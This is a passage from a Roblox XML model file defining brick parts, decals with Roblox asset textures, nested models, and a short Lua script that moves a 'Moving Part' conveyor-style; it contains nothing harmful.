				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00282895565</X>
					<Y>0.00241801166</Y>
					<Z>0.0326645337</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00200431095</X>
					<Y>-0.0108001493</Y>
					<Z>-0.003363122</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1611">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1612">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1613">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>28.8998222</X>
					<Y>0.591376543</Y>
					<Z>11.3486347</Z>
					<R00>0.587334394</R00>
					<R01>0.000561412657</R01>
					<R02>0.809344172</R02>
					<R10>-3.97803633e-005</R10>
					<R11>0.999999762</R11>
					<R12>-0.000664795167</R12>
					<R20>-0.809344351</R20>
					<R21>0.000358261052</R21>
					<R22>0.587334275</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0237266347</X>
					<Y>3.51634189e-005</Y>
					<Z>0.0149642657</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-2.63465208e-005</X>
					<Y>-0.0137970895</Y>
					<Z>-0.000353302748</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1614">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1615">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1616">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>25.7976646</X>
					<Y>0.591148138</Y>
					<Z>9.72546005</Z>
					<R00>0.3966254</R00>
					<R01>-6.40603539e-005</R01>
					<R02>-0.917980552</R02>
					<R10>-0.000221144466</R10>
					<R11>-0.99999994</R11>
					<R12>-2.57643314e-005</R12>
					<R20>-0.917980492</R20>
					<R21>0.000213225096</R21>
					<R22>-0.39662534</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00794389844</X>
					<Y>-0.00106364035</Y>
					<Z>-0.0378433913</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000266405637</X>
					<Y>-0.00900247786</Y>
					<Z>0.000286814058</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1617">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1618">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1619">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>16.9609241</X>
					<Y>0.591002285</Y>
					<Z>17.3923111</Z>
					<R00>0.733816922</R00>
					<R01>-0.000131127643</R01>
					<R02>0.679347336</R02>
					<R10>3.21756052e-005</R10>
					<R11>1</R11>
					<R12>0.000158264622</R12>
					<R20>-0.679347336</R20>
					<R21>-9.42788465e-005</R21>
					<R22>0.733816922</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0213220101</X>
					<Y>0.000506723882</Y>
					<Z>0.010860174</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00134542421</X>
					<Y>-0.00994495954</Y>
					<Z>-0.000909520371</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1620">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1621">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1622">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>18.2891273</X>
					<Y>0.591212809</Y>
					<Z>14.414855</Z>
					<R00>0.644041657</R00>
					<R01>0.000440281612</R01>
					<R02>-0.76499027</R02>
					<R10>8.79727577e-006</R10>
					<R11>-0.99999994</R11>
					<R12>-0.000568132382</R12>
					<R20>-0.764990449</R20>
					<R21>0.000359171099</R21>
					<R22>-0.644041657</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0192636512</X>
					<Y>0.000554507482</Y>
					<Z>0.0161673911</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00996383931</X>
					<Y>-0.00241846568</Y>
					<Z>0.00262230937</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1623">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1624">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1625">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>16.154541</X>
					<Y>0.591128051</Y>
					<Z>13.0073233</Z>
					<R00>0.970794022</R00>
					<R01>0.000551461882</R01>
					<R02>0.239913881</R02>
					<R10>0.00108573155</R10>
					<R11>-0.999997139</R11>
					<R12>-0.00209475751</R12>
					<R20>0.239912063</R20>
					<R21>0.00229406008</R21>
					<R22>-0.970791817</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.009091557</X>
					<Y>-8.82306413e-005</Y>
					<Z>0.0437105894</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00184574246</X>
					<Y>-0.0117905317</Y>
					<Z>0.00135873584</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1626">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1627">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1628">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1629">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>233</X>
						<Y>5.80000019</Y>
						<Z>40</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>6</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1630">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>223</X>
						<Y>1.60000002</Y>
						<Z>40</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>18</X>
						<Y>2.4000001</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1631">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>233.5</X>
						<Y>10</Y>
						<Z>44</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>3</X>
						<Y>2.4000001</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX1632">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1633">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>213</X>
							<Y>1.60000002</Y>
							<Z>44</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>10</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1634">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>223</X>
							<Y>1.60000002</Y>
							<Z>48</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>18</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1635">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>223</X>
							<Y>1.60000002</Y>
							<Z>44</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Moving Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>18</X>
							<Y>2.4000001</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX1636">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">--&#167; Rhino1004 &#167;

while true do
script.Parent.Velocity = script.Parent.CFrame.lookVector *10
wait(0.1)
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1637">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
